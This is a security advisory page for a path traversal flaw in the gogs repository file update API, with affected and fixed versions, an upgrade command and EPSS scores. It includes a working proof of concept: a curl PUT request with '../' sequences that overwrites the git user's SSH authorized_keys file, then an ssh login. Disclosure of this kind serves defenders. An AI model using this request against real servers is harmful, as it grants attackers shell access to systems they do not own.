Loading advisory.
Loading advisory.
Path Traversal in file update API in gogs
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Published 2024-12-23 15:26 UTC · Modified 2026-09-10 03:50 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| gogs.io/gogs | Go | < 0.13.1 | 0.13.1 | go get gogs.io/gogs@v0.13.1 |
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
n/a
Generate a Personal Access Tokens
Edit any file on the server with this
curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \
-H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \
-H "Content-Type: application/json" \
--data '{
"message": "an",
"content": "<base64encoded: your ssh pub key>"
}'ssh connect to remote server
ssh -i temp git@localhost -p 10022If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Exploit code or a detection template for this CVE is published by the sources below. This is not a report of use against real systems (that is what CISA KEV records) and it does not change the tier.
EPSS went from 0.777 on 2026-11-24 to 0.039 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.777 | first score | v2026.06.15 |
| 2026-11-26 | 0.039 | 0.777 | v2026.06.15 |